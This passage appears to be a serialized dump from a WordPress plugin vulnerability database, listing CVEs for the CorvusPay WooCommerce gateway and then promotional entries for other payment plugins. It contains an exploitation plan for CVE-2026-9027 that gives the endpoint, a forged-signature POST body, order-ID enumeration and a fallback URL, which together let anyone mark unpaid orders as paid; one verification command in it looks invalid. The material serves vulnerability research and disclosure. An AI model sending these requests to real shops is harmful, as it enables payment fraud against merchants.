CorvusPay success and cancel callback requests to prevent unauthorized order completion and cancellation.\n+* Improved: Prevented stored XSS via approval_code by validating callback signatures before storing data, sanitizing approval_code values, and escaping output in order details and emails.\n+\n = 2.7.4 =\n * Changed: Removed unnecessary PHP SDK folders\u002Ffiles (examples, assets, configuration files) and updated WordPress 7 compatibility.\n \n","The exploit targets the publicly accessible REST API endpoint at `\u002Fwp-json\u002Fcorvuspay\u002Fcancel\u002F` or the legacy WooCommerce API hook `woocommerce_api_corvuspay-cancel`. An attacker sends a POST request to this endpoint containing a valid WooCommerce `order_number`. Because the plugin's REST route registration uses `'permission_callback' => '__return_true'` and the cancellation handler fails to verify the CorvusPay HMAC signature (by using the unsigned 'callback' routine instead of 'callback-signed'), the plugin will transition the status of the specified order to 'cancelled' without requiring any authentication or proof that the request originated from the payment provider.","2026-07-15 22:17:11","2026-07-15 22:17:56",{"id":86,"url_slug":87,"title":88,"description":89,"plugin_slug":4,"theme_slug":35,"affected_versions":36,"patched_in_version":37,"severity":69,"cvss_score":70,"cvss_vector":71,"vuln_type":90,"published_date":91,"updated_date":74,"references":92,"days_to_patch":45,"patch_diff_files":94,"patch_trac_url":35,"research_status":53,"research_verified":54,"research_rounds_completed":55,"research_plan":95,"research_summary":35,"research_vulnerable_code":35,"research_fix_diff":35,"research_exploit_outline":35,"research_model_used":61,"research_started_at":96,"research_completed_at":97,"research_error":35,"poc_status":35,"poc_video_id":35,"poc_summary":35,"poc_steps":35,"poc_tested_at":35,"poc_wp_version":35,"poc_php_version":35,"poc_playwright_script":35,"poc_exploit_code":35,"poc_has_trace":54,"poc_model_used":35,"poc_verification_depth":35},"CVE-2026-9027","corvuspay-woocommerce-payment-gateway-unauthenticated-improper-verification-of-cryptographic-signature-to-payment-bypass","CorvusPay WooCommerce Payment Gateway \u003C= 2.7.4 - Unauthenticated Improper Verification of Cryptographic Signature to Payment Bypass via \u002Fwp-json\u002Fcorvuspay\u002Fsuccess\u002F REST Endpoint","The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to Payment Bypass via Improper Verification of Cryptographic Signature in all versions up to, and including, 2.7.4. The `corvuspay_success_handler` function registers the REST endpoint `POST \u002Fwp-json\u002Fcorvuspay\u002Fsuccess\u002F` with `'permission_callback' => '__return_true'`, and while it calls `$this->client->validate->signature()` and stores the boolean result in `$res`, the result is never evaluated in a conditional — it is only written to the debug log — causing execution to unconditionally reach `$order->payment_complete()` regardless of whether the cryptographic signature is valid. This makes it possible for unauthenticated attackers to mark any pending WooCommerce order as fully paid by sending a POST request to the success endpoint containing an arbitrary or forged signature value, allowing them to obtain goods or services without payment. Because WooCommerce order IDs are sequential integers, target orders are trivially enumerable via the `order_number` POST parameter, requiring no prior knowledge of the victim order.","Improper Verification of Cryptographic Signature","2026-07-08 20:40:59",[93],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3bc9f344-b605-4257-8d77-e073f85fe344?source=api-prod",[47,48,49,50,51,52],"# Exploitation Research Plan: CorvusPay WooCommerce Payment Gateway Payment Bypass (CVE-2026-9027)\n\n## 1. Vulnerability Summary\nThe **CorvusPay WooCommerce Payment Gateway** plugin (versions \u003C= 2.7.4) contains a critical logic flaw in its payment confirmation handler. The plugin registers an unauthenticated REST API endpoint `POST \u002Fwp-json\u002Fcorvuspay\u002Fsuccess\u002F` to receive payment success notifications from the CorvusPay gateway. While the plugin correctly computes and validates the cryptographic signature of the incoming request, it **fails to act on the validation result**. The boolean result of the signature check is written to a debug log, but the code execution continues unconditionally to mark the associated WooCommerce order as \"Paid\" via `$order->payment_complete()`. This allows an attacker to spoof payment success messages for any order.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `POST \u002Fwp-json\u002Fcorvuspay\u002Fsuccess\u002F`\n- **Authentication:** Unauthenticated (`'permission_callback' => '__return_true'`).\n- **Target Parameter:** `order_number` (The WooCommerce order ID or the plugin-formatted order number).\n- **Payload Parameters:** `signature` (can be arbitrary), `approval_code` (can be arbitrary).\n- **Preconditions:** A WooCommerce order must exist in a status that allows payment completion (e.g., \"Pending payment\").\n\n## 3. Code Flow\n1. **Hook Registration:** In `includes\u002Fclass-wc-gateway-corvuspay.php`, the plugin hooks into `rest_api_init`:\n   ```php\n   add_action( 'rest_api_init', array( $this, 'register_corvuspay_rest_routes' ) );\n   ```\n2. **Route Definition:** The `register_corvuspay_rest_routes` function (implied by description) registers the `\u002Fsuccess\u002F` endpoint with no permission checks.\n3. **Handler Execution:** The `corvuspay_success_handler` is invoked upon a POST request.\n4. **Order Initialization:** The handler instantiates `WC_Order_CorvusPay` with the `callback-signed` type.\n5. **Vulnerable Signature Check:** In `includes\u002Fclass-wc-order-corvuspay.php` (Lines 185-188):\n   ```php\n   if ( 'callback-signed' === $type ) {\n       \u002F\u002F ... (meta updates)\n       $res = $this->client->validate->signature( $this->parameters );\n       $this->log->debug( 'Result from signature validation: ' . $res );\n   }\n   ```\n   The variable `$res` captures the truth value of the signature, but there is no `if (!$res)` check following this.\n6. **Payment Completion:** Back in the success handler (in `includes\u002Fclass-wc-gateway-corvuspay.php`), the code proceeds to call `$order->payment_complete()`, transitioning the order status and granting the user the product\u002Fservice.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability resides in a **REST API endpoint** registered with `'permission_callback' => '__return_true'`. \n- **Nonce Requirement:** None. Standard WordPress REST API nonces (`_wpnonce`) are not required for endpoints that do not implement permission checks or are intended for external webhooks.\n- **Verification:** The `register_corvuspay_rest_routes` function explicitly enables unauthenticated access.\n\n## 5. Exploitation Strategy\nThe goal is to move a \"Pending\" order to \"Processing\u002FCompleted\" without a valid CorvusPay signature.\n\n### Step-by-Step Plan:\n1. **Identify Order Number:** Determine a valid WooCommerce order number. Since these are sequential integers, an attacker can iterate through numbers or use the order ID generated during their own checkout.\n2. **Determine Parameter Format:** The plugin uses `order_number` in the POST body. Note that `WC_Order_CorvusPay::ORDER_NUMBER_DELIMITER` is `' - '`. If the site is in \"Test Mode\", the order number might be prefixed (e.g., `Test - 123`). In production, it is typically just the ID.\n3. **Craft the Request:** Send a POST request to the REST endpoint.\n\n### HTTP Request (Example):\n- **Method:** `POST`\n- **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-json\u002Fcorvuspay\u002Fsuccess\u002F`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:** `order_number=123&signature=invalid_fake_signature&approval_code=999999`\n\n## 6. Test Data Setup\n1. **Install Dependencies:** Ensure WooCommerce is active.\n2. **Configure Plugin:** Enable the CorvusPay gateway in WooCommerce settings (`\u002Fwp-admin\u002Fadmin.php?page=wc-settings&tab=checkout&section=corvuspay`).\n3. **Create Order:** \n   - Use WP-CLI to create a pending order for a customer:\n     ```bash\n     wp eval '$order = wc_create_order(); $order->add_product(wc_get_product(PAGE_ID), 1); $order->set_status(\"pending\"); $order->save(); echo \"Order ID: \" . $order->get_id();'\n     ```\n   - Alternatively, use the browser to add a product to the cart and proceed to checkout, selecting CorvusPay but not completing the payment.\n\n## 7. Expected Results\n- The server should respond with a `200 OK` or a successful JSON status.\n- The WooCommerce order notes should show that the payment was completed.\n- The order status should change from `pending` to `processing` or `completed`.\n\n## 8. Verification Steps\nAfter sending the `http_request`, verify the order status via WP-CLI:\n```bash\n# Replace 123 with the actual Order ID\nwp wc order get 123 --field=status\n```\nExpected output: `processing` or `completed`.\n\nCheck the order metadata to see the spoofed approval code:\n```bash\nwp post shadow-meta list 123 --keys=_corvuspay_approval_code\n```\n\n## 9. Alternative Approaches\nIf the REST endpoint `\u002Fwp-json\u002Fcorvuspay\u002Fsuccess\u002F` is blocked or behaves unexpectedly, the plugin also registers a legacy WooCommerce API hook:\n- **Action:** `woocommerce_api_corvuspay-success`\n- **URL:** `http:\u002F\u002F\u003Ctarget>\u002F?wc-api=corvuspay-success`\n- **Mechanism:** This calls the same `corvuspay_success_handler` function. The same payload should be sent via POST to this URL if the REST route is unavailable.","2026-07-15 22:18:38","2026-07-15 22:19:09",{"id":99,"url_slug":100,"title":101,"description":102,"plugin_slug":4,"theme_slug":35,"affected_versions":36,"patched_in_version":37,"severity":69,"cvss_score":70,"cvss_vector":71,"vuln_type":72,"published_date":103,"updated_date":104,"references":105,"days_to_patch":107,"patch_diff_files":108,"patch_trac_url":35,"research_status":35,"research_verified":54,"research_rounds_completed":13,"research_plan":35,"research_summary":35,"research_vulnerable_code":35,"research_fix_diff":35,"research_exploit_outline":35,"research_model_used":35,"research_started_at":35,"research_completed_at":35,"research_error":35,"poc_status":35,"poc_video_id":35,"poc_summary":35,"poc_steps":35,"poc_tested_at":35,"poc_wp_version":35,"poc_php_version":35,"poc_playwright_script":35,"poc_exploit_code":35,"poc_has_trace":54,"poc_model_used":35,"poc_verification_depth":35},"CVE-2026-56029","corvuspay-woocommerce-payment-gateway-missing-authorization","CorvusPay WooCommerce Payment Gateway \u003C= 2.7.4 - Missing Authorization","The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.7.4. This makes it possible for unauthenticated attackers to perform an unauthorized action.","2026-06-23 00:00:00","2026-07-02 14:00:18",[106],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3e82448a-43d8-4a01-a576-08e289b67442?source=api-prod",10,[],{"slug":110,"display_name":7,"profile_url":8,"plugin_count":45,"total_installs":11,"avg_security_score":24,"avg_patch_time_days":55,"trust_score":111,"computed_at":112},"corvusinfo",95,"2026-07-21T20:48:22.349Z",[114,136,158,177,196],{"slug":115,"name":116,"version":117,"author":118,"author_profile":119,"description":120,"short_description":121,"active_installs":122,"downloaded":123,"rating":124,"num_ratings":125,"last_updated":126,"tested_up_to":127,"requires_at_least":16,"requires_php":17,"tags":128,"homepage":131,"download_link":132,"security_score":133,"vuln_count":134,"unpatched_count":13,"last_vuln_date":135,"fetched_at":27},"woocommerce-payments","WooPayments: Integrated WooCommerce Payments","10.6.0","WooCommerce","https:\u002F\u002Fprofiles.wordpress.org\u002Fwoocommerce\u002F","\u003Cp>\u003Cstrong>Payments made simple, with no monthly fees – designed exclusively for WooCommerce stores.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Securely accept major credit and debit cards, and allow customers to pay you directly without leaving your WooCommerce store. View and manage transactions from one convenient place – your WordPress dashboard.\u003C\u002Fp>\n\u003Cp>See payments, track cash flow into your bank account, manage refunds, and stay on top of disputes without the hassle of having to log into a separate payment processor.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Manage transactions from the comfort of your store\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Features previously only available on your payment provider’s website are now part of your store’s \u003Cstrong>integrated payments dashboard\u003C\u002Fstrong>. This enables you to:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>View the details of \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fdocument\u002Fwoopayments\u002Fmanaging-money\u002F\" rel=\"nofollow ugc\">payments, refunds, and other transactions\u003C\u002Fa>.\u003C\u002Fli>\n\u003Cli>View and respond to \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fdocument\u002Fwoopayments\u002Ffraud-and-disputes\u002Fmanaging-disputes\u002F\" rel=\"nofollow ugc\">disputes and chargebacks\u003C\u002Fa>.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fdocument\u002Fwoopayments\u002Fpayouts\u002F\" rel=\"nofollow ugc\">Track payouts\u003C\u002Fa> into your bank account or debit card.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Pay as you go\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>WooPayments is \u003Cstrong>free to install\u003C\u002Fstrong>, with \u003Cstrong>no setup fees or monthly fees\u003C\u002Fstrong>. Our pay-as-you-go pricing model means we’re incentivized to help you succeed! \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fdocument\u002Fwoopayments\u002Ffees\u002F\" rel=\"nofollow ugc\">Read more about transaction fees\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Supported by the WooCommerce team\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Our global support team is available to answer questions you may have about WooPayments installation, setup, or use. For assistance, \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fmy-account\u002Fcontact-support\u002F?select=5278104\" rel=\"nofollow ugc\">open a ticket on woocommerce.com\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>Getting Started\u003C\u002Fh3>\n\u003Ch4>Requirements\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>WordPress 6.0 or newer.\u003C\u002Fli>\n\u003Cli>WooCommerce 7.6 or newer.\u003C\u002Fli>\n\u003Cli>PHP 7.3 or newer.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Try it now\u003C\u002Fh4>\n\u003Cp>To try WooPayments (previously WooCommerce Payments) on your store, simply \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoocommerce-payments\u002F#installation\" rel=\"ugc\">install it\u003C\u002Fa> and follow the prompts. Please see our \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fdocument\u002Fwoopayments\u002Fstartup-guide\u002F\" rel=\"nofollow ugc\">Startup Guide\u003C\u002Fa> for a full walkthrough of the process.\u003C\u002Fp>\n","Securely accept credit and debit cards on your WooCommerce store. Manage payments without leaving your WordPress dashboard. Only with WooPayments.",900000,42522589,62,145,"2026-03-11T15:29:00.000Z","6.9.4",[129,19,130,20,115],"apple-pay","google-pay","https:\u002F\u002Fwoocommerce.com\u002Fpayments\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-payments.10.6.0.zip",89,7,"2026-03-30 16:13:16",{"slug":137,"name":138,"version":139,"author":118,"author_profile":119,"description":140,"short_description":141,"active_installs":142,"downloaded":143,"rating":144,"num_ratings":145,"last_updated":146,"tested_up_to":147,"requires_at_least":148,"requires_php":17,"tags":149,"homepage":153,"download_link":154,"security_score":155,"vuln_count":156,"unpatched_count":13,"last_vuln_date":157,"fetched_at":27},"woocommerce-paypal-payments","WooCommerce PayPal Payments","4.0.2","\u003Cp>WooCommerce PayPal Payments is an \u003Cstrong>all-in-one solution\u003C\u002Fstrong> to help you \u003Cstrong>maximize conversions\u003C\u002Fstrong> by offering PayPal, Venmo (US), Pay Later options, credit and debit cards, and more.\u003C\u002Fp>\n\u003Ch4>Features\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\u003Cstrong>Instant access\u003C\u002Fstrong> to funds while payment is processing.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Fraud detection\u003C\u002Fstrong> and \u003Cstrong>global compliance\u003C\u002Fstrong> (including PCI, PSD2, and 3D Secure).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Faster checkout\u003C\u002Fstrong> via PayPal buttons on product pages and in-cart.\u003C\u002Fli>\n\u003Cli>Convenience to \u003Cstrong>pay over time\u003C\u002Fstrong> with PayPal Pay Later.\u003C\u002Fli>\n\u003Cli>Allow Venmo shoppers (US only) to \u003Cstrong>share purchases\u003C\u002Fstrong> with friends.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Standard\u003C\u002Fstrong> and \u003Cstrong>Advanced Card Processing\u003C\u002Fstrong> options.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Country-specific\u003C\u002Fstrong> payment methods to build global trust.\u003C\u002Fli>\n\u003Cli>Multiple \u003Cstrong>subscription payment\u003C\u002Fstrong> options to help drive repeat business.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Get started\u003C\u002Fh4>\n\u003Cp>If you’re new to PayPal, \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fdocument\u002Fwoocommerce-paypal-payments\u002F\" rel=\"nofollow ugc\">add it to your store today\u003C\u002Fa>. Existing user? \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fdocument\u002Fwoocommerce-paypal-payments\u002Fpaypal-payments-upgrade-guide\u002F\" rel=\"nofollow ugc\">Upgrade your integration\u003C\u002Fa> now to access these exciting new features.\u003C\u002Fp>\n\u003Ch4>It pays to PayPal\u003C\u002Fh4>\n\u003Cp>Get \u003Cstrong>instant access to funds\u003C\u002Fstrong> in your PayPal business account while payment is processing. Save time and money with \u003Cstrong>fraud detection\u003C\u002Fstrong> and Seller Protection features†.\u003C\u002Fp>\n\u003Cp>Plus, you’ll meet \u003Cstrong>global compliance standards\u003C\u002Fstrong> (such as PCI, PSD2, SCA, and 3D Secure), bringing international markets within reach.\u003C\u002Fp>\n\u003Cp>†Available on eligible purchases. Limits apply.\u003C\u002Fp>\n\u003Ch4>Flexible payment options\u003C\u002Fh4>\n\u003Cp>Shoppers are nearly \u003Cstrong>three times more likely to buy\u003C\u002Fstrong> when you offer PayPal.¹ Increase conversions by automatically \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fdocument\u002Fwoocommerce-paypal-payments\u002F#section-35\" rel=\"nofollow ugc\">displaying PayPal buttons\u003C\u002Fa> on product pages, in-cart, and at checkout.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fdocument\u002Fwoocommerce-paypal-payments\u002F#pay-later\" rel=\"nofollow ugc\">PayPal Pay Later\u003C\u002Fa> options help boost conversion rates and \u003Cstrong>increase cart sizes by 39%\u003C\u002Fstrong>.² Let customers pay over time while you get paid upfront — at no additional cost. Available in select countries. \u003Ca href=\"https:\u002F\u002Fdeveloper.paypal.com\u002Fdocs\u002Fcheckout\u002Fpay-later\u002Fus\u002F\" rel=\"nofollow ugc\">Learn more about Pay Later messaging\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Venmo users spend 2.2 times more annually\u003C\u002Fstrong> on online purchases than other online buyers.³ Now you can \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fdocument\u002Fwoocommerce-paypal-payments\u002F#pay-with-venmo\" rel=\"nofollow ugc\">reach Venmo shoppers\u003C\u002Fa> (US only) and allow them to share their purchases with friends.\u003C\u002Fp>\n\u003Ch4>Country-specific payments\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\u003Cstrong>Standard Card Processing:\u003C\u002Fstrong> Suitable for all business and personal seller accounts. Card transactions are managed via a prebuilt user experience, simplifying compliance.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Advanced Card Processing:\u003C\u002Fstrong> Customize the look, feel, and placement of debit and credit card payment fields. You can also use fraud protection tools to set up personal risk tolerance filters.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Earn recurring revenue through subscriptions\u003C\u002Fh4>\n\u003Cp>Drive repeat business for stable, predictable income using \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fproducts\u002Fwoocommerce-subscriptions\u002F\" rel=\"nofollow ugc\">WooCommerce Subscriptions\u003C\u002Fa> or \u003Ca href=\"https:\u002F\u002Fwww.paypal.com\u002Fwebapps\u002Fmpp\u002Fsubscription-payments\" rel=\"nofollow ugc\">PayPal Subscriptions\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>You can also use PayPal’s \u003Ca href=\"https:\u002F\u002Fwww.paypal.com\u002Fus\u002Fbrc\u002Farticle\u002Fsecurely-store-payments\" rel=\"nofollow ugc\">Vaulting\u003C\u002Fa> feature to:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Offer flexible plans with fixed or quantity-based pricing.\u003C\u002Fli>\n\u003Cli>Set billing cycles for any period.\u003C\u002Fli>\n\u003Cli>Offer discounted trial periods or prorated payments.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>With no monthly or setup fees, it’s simple for your customers — and \u003Cstrong>great for your business\u003C\u002Fstrong> (\u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fdocument\u002Fwoocommerce-paypal-payments\u002F#get-vaulting-approval\" rel=\"nofollow ugc\">account approval required\u003C\u002Fa>).\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Legal Disclosures:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>*For Australian users, the PayPal service is provided by PayPal Australia Pty Limited AFSL 304962. Any information provided is general only and does not take into account your objectives, financial situation, or needs. Please read and consider the CFSGPDS (paypal.com.au) before acquiring or using the service. See website for TMD.\u003C\u002Fp>\n\u003Col>\n\u003Cli>An online study commissioned by PayPal and conducted by Netfluential in November 2020, involving 1,000 US online shoppers ages 18-39.\u003C\u002Fli>\n\u003Cli>PayPal Q2 Earnings 2021.\u003C\u002Fli>\n\u003Cli>Edison Trends commissioned by PayPal, April 2020 to March 2021. Edison Trends conducted a behavioral panel of email receipts from 306,939 US consumers and 3.4+ M purchases at a vertical level between Pay with Venmo and non-Venmo users during a 12-month period.\u003C\u002Fli>\n\u003C\u002Fol>\n","PayPal's latest payment processing solution. Accept PayPal, Pay Later, credit\u002Fdebit cards, alternative digital wallets and bank accounts.",800000,24838061,56,539,"2026-04-02T14:59:00.000Z","7.0","6.5",[19,150,151,152,21],"ecommerce","payments","paypal","https:\u002F\u002Fwoocommerce.com\u002Fproducts\u002Fwoocommerce-paypal-payments\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-paypal-payments.4.0.2.zip",96,2,"2026-05-22 16:04:24",{"slug":159,"name":160,"version":161,"author":118,"author_profile":119,"description":162,"short_description":163,"active_installs":164,"downloaded":165,"rating":124,"num_ratings":166,"last_updated":167,"tested_up_to":127,"requires_at_least":168,"requires_php":17,"tags":169,"homepage":172,"download_link":173,"security_score":174,"vuln_count":175,"unpatched_count":13,"last_vuln_date":176,"fetched_at":27},"woocommerce-gateway-stripe","WooCommerce Stripe Payment Gateway","10.5.3","\u003Cp>Changing consumer behavior has resulted in an explosion of payment methods and experiences, which are great for increasing conversion and lowering costs—but can be difficult for businesses to maintain. Give customers a best-in-class checkout experience while you remain focused on your core business. This is the official plugin created by Stripe and WooCommerce.\u003C\u002Fp>\n\u003Ch4>Drive 11.9% in revenue with an optimized checkout experience from Stripe\u003C\u002Fh4>\n\u003Cp>The enhanced checkout experience from Stripe can help customers:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Boost conversion:\u003C\u002Fstrong> Provide an optimal experience across mobile, tablet, and desktop with a responsive checkout, and offer 23 payment methods, including \u003Ca href=\"https:\u002F\u002Fstripe.com\u002Fpayments\u002Flink\" rel=\"nofollow ugc\">Link\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fapple-pay\u002F\" rel=\"nofollow ugc\">Apple Pay\u003C\u002Fa>, and \u003Ca href=\"https:\u002F\u002Fwww.google.com\u002Fpayments\u002Fsolutions\u002F\" rel=\"nofollow ugc\">Google Pay\u003C\u002Fa>, out of the box.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Expand your customer base:\u003C\u002Fstrong> Convert customers who might otherwise abandon their cart with buy now, pay later methods like Klarna, Affirm, and Afterpay\u002FClearpay, wallets like Apple Pay, Google Pay, Alipay, and WeChat Pay, and local payment methods such as Bancontact in Europe and Alipay in Asia Pacific. Deliver a localized payment experience with out-of-the-box support for localized error messages, right-to-left languages, and automatic adjustment of input fields based on payment method and country.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Meet existing customer demand and localize the experience:\u003C\u002Fstrong> Offer \u003Ca href=\"https:\u002F\u002Fstripe.com\u002Fguides\u002Fpayment-methods-guide\" rel=\"nofollow ugc\">local payment methods\u003C\u002Fa>, such as ACH Direct Debit, Bacs Direct Debit, Bancontact, BECS Direct Debit, BLIK, Boleto, Cash App Pay, EPS, iDEAL, Multibanco, OXXO, Pre-authorized debit payments, Przelewy 24, and SEPA Direct Debit.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Fight fraud:\u003C\u002Fstrong> Detect and prevent fraud with \u003Ca href=\"https:\u002F\u002Fstripe.com\u002Fradar\" rel=\"nofollow ugc\">Stripe Radar\u003C\u002Fa>, which offers seamlessly integrated, powerful fraud-detection tools that use machine learning to detect and flag potentially fraudulent transactions.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Accept in-person payments for products and services:\u003C\u002Fstrong> Use the Stripe Terminal M2 card reader or get started with no additional hardware using Tap to Pay on iPhone, or Tap to Pay on Android.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Support subscriptions:\u003C\u002Fstrong> Support recurring payments with various payment methods via \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fproducts\u002Fwoocommerce-subscriptions\u002F\" rel=\"nofollow ugc\">WooCommerce Subscriptions\u003C\u002Fa>.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Manage cash flow:\u003C\u002Fstrong> Get paid within minutes with Stripe Instant Payouts, if eligible.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Achieve \u003Ca href=\"https:\u002F\u002Fdocs.stripe.com\u002Fsecurity\" rel=\"nofollow ugc\">PCI-DSS\u003C\u002Fa> compliance with \u003Ca href=\"https:\u002F\u002Fstripe.com\u002Fpayments\u002Felements\" rel=\"nofollow ugc\">Stripe Elements\u003C\u002Fa> hosted input fields.\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Support Strong Customer Authentication (SCA).\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Stripe is available for store owners and merchants in \u003Ca href=\"https:\u002F\u002Fstripe.com\u002Fglobal\" rel=\"nofollow ugc\">46 countries worldwide\u003C\u002Fa>, with more to come.\u003C\u002Fp>\n\u003Ch3>Compatibility Notes\u003C\u002Fh3>\n\u003Cp>The following items note specific versions that include important changes, features, or deprecations.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>10.4.0\n\u003Cul>\n\u003Cli>Optimized Checkout Suite no longer enabled by default for new installs\u003C\u002Fli>\n\u003Cli>Removed the main Payment Request Buttons backend class, WC_Stripe_Payment_Request, which was deprecated in 10.2.0\u003C\u002Fli>\n\u003Cli>Removed the deprecated WC_Stripe_Apple_Pay class\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>10.3.0\n\u003Cul>\n\u003Cli>Removed legacy checkout payment method classes and settings retrieval methods\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>10.2.0\n\u003Cul>\n\u003Cli>Optimized Checkout Suite enabled by default for all new installations\u003C\u002Fli>\n\u003Cli>Add minimum transaction amounts for BRL, INR, NZD, THB, CZK, HUF, AED, MYR, PLN, RON\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>10.1.0\n\u003Cul>\n\u003Cli>Improved express checkout address handling for countries without state\u002Fpostal codes\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>10.0.0\n\u003Cul>\n\u003Cli>Payment Request Buttons are fully replaced by Express Checkout\u003C\u002Fli>\n\u003Cli>Legacy Checkout is fully deprecated and no longer available\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>9.8.0\n\u003Cul>\n\u003Cli>Optimized Checkout Suite available via a configuration setting\u003C\u002Fli>\n\u003Cli>We will disable the Affirm or Klarna payment methods if the respective official plugin is enabled\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>9.7.0\n\u003Cul>\n\u003Cli>Improved express checkout support for custom checkout fields\u003C\u002Fli>\n\u003Cli>Validate customer details against required billing fields from checkout before sending to Stripe\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>9.6.0\n\u003Cul>\n\u003Cli>Legacy checkout deprecated by default\u003C\u002Fli>\n\u003Cli>Voucher payment methods can be used for subscription purchases when manual renewals are available\u003C\u002Fli>\n\u003Cli>Include extension data from block checkout for express checkout orders\u003C\u002Fli>\n\u003Cli>Add hooks to support custom checkout fields for classic checkout\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>9.5.0\n\u003Cul>\n\u003Cli>Synchronize payment methods with Stripe\u003C\u002Fli>\n\u003Cli>Support Pre-Authorized Debit (PAD) in Canada and the US\u003C\u002Fli>\n\u003Cli>Support BLIK in Poland and from other EU countries\u003C\u002Fli>\n\u003Cli>Support BECS Direct Debit payments in Australia\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003C\u002Ful>\n","Accept debit and credit cards in 135+ currencies, many local methods like Alipay, ACH, and SEPA, and express checkout with Apple Pay and Google Pay.",700000,46980616,221,"2026-03-19T13:18:00.000Z","6.7",[19,151,170,171,21],"stripe","woo","https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoocommerce-gateway-stripe\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-gateway-stripe.10.5.3.zip",92,5,"2026-06-15 21:08:36",{"slug":178,"name":179,"version":180,"author":181,"author_profile":182,"description":183,"short_description":184,"active_installs":185,"downloaded":186,"rating":187,"num_ratings":188,"last_updated":189,"tested_up_to":127,"requires_at_least":190,"requires_php":17,"tags":191,"homepage":193,"download_link":194,"security_score":24,"vuln_count":25,"unpatched_count":13,"last_vuln_date":195,"fetched_at":27},"mollie-payments-for-woocommerce","Mollie Payments for WooCommerce","8.1.4","Mollie","https:\u002F\u002Fprofiles.wordpress.org\u002Fmollieintegration\u002F","\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" 